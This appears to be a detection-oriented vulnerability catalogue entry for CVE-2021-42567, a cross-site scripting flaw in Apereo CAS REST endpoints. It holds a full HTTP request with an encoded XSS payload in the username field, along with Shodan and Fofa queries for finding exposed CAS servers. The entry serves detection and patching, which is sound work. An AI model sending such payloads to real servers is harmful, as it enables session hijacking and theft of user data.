🔙 목록으로 돌아가기

CVE-2021-42567: Apereo CAS Cross-Site Scripting

TitleApereo CAS Cross-Site Scripting
Authorpdteam
SeverityMedium
ImpactSuccessful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of a victim's browser, potentially leading to session hijacking, data theft, or defacement.
RemediationApply the latest security patches or updates provided by the vendor to mitigate this vulnerability.
CVSS Score6.1
EPSS Score0.46272
CVE IDCVE-2021-42567
CWE IDCWE-79
Shodan Queryhttp.title:'CAS - Central Authentication Service'http.title:'cas - central authentication service'
Fofa Querytitle='cas - central authentication service'
Tags cve2021 cve apereo xss cas vkev vuln

🔍 Vulnerability Description

Apereo CAS through 6.4.1 allows cross-site scripting via POST requests sent to the REST API endpoints.

🌐 HTTP Request

POST /cas/v1/tickets/ HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:1.9.7.20) Gecko/ Firefox/3.6.7
Connection: close
Content-Length: 77
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

username=%3Cimg%2Fsrc%2Fonerror%3Dalert%28document.domain%29%3E&password=test

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-42567.yaml

🦈 Packet Capture: ⬇️ Download cve-2021-42567.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A